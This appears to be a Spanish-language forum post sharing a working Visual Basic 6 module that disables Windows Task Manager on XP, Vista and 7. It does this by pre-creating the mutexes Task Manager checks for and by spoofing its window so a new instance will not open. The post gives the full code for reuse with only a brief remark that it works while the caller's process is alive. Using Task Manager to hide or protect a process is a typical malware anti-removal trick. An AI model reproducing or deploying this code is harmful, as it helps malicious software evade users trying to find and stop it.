Código
Option Explicit '--------------------------------------------------------------------------------------- ' Module : mKillTaskMgr ' Author : Karcrack ' Now$ : 07/09/09 16:03 ' Used for? : Disable TaskMgr ' Tested On : Windows XP, Windows Vista, Windows 7 ' Thanks : SkyWeb -> Support and Test (W$ Seven & Vista) '--------------------------------------------------------------------------------------- 'KERNEL32 Private Declare Function CreateMutexW Lib "KERNEL32" (ByRef lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpuName As Long) As Long Private Declare Function FreeLibrary Lib "KERNEL32" (ByVal hLibModule As Long) As Long Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long 'USER32 Private Declare Function SetWindowLong Lib "USER32" Alias "SetWindowLongA" (ByVal Hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function CreateWindowEx Lib "USER32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long Private Declare Function LoadString Lib "USER32" Alias "LoadStringA" (ByVal hInstance As Long, ByVal wID As Long, ByVal lpBuffer As String, ByVal nBufferMax As Long) As Long Private Declare Function CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private lpPrev As Long Public Sub DisableTaskMgr() Call CreateMutexW(ByVal 0&, False, StrPtr("NTShell Taskman Startup Mutex")) 'Windows XP Call CreateMutexW(ByVal 0&, False, StrPtr("Local\TASKMGR.879e4d63-6c0e-4544-97f2-1244bd3f6de0")) 'Windows 7 Call CreateMutexW(ByVal 0&, False, StrPtr("Local\NTShell Taskman Startup Mutex")) 'Windows Vista lpPrev = SetWindowLong(CreateWindowEx(&H40000, "#32770", GetTaskWinName, ByVal 0&, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&), (-4), AddressOf WndProc) End Sub Private Function GetTaskWinName() As String Dim hInst As Long Dim sTMP As String * 256 hInst = LoadLibrary(Environ$("SYSTEMROOT") & "\SYSTEM32\TaskMgr.exe") If hInst Then GetTaskWinName = Left$(sTMP, LoadString(hInst, &H2713, sTMP, Len(sTMP))) Call FreeLibrary(hInst) End If End Function Private Function WndProc(ByVal Hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long If uMsg = &H40B Then WndProc = &H40B Else WndProc = CallWindowProc(lpPrev, Hwnd, uMsg, wParam, lParam) End If End Function
El codigo habla por si solo
Solo funciona mientras nuestro proceso continue activo...
Saludos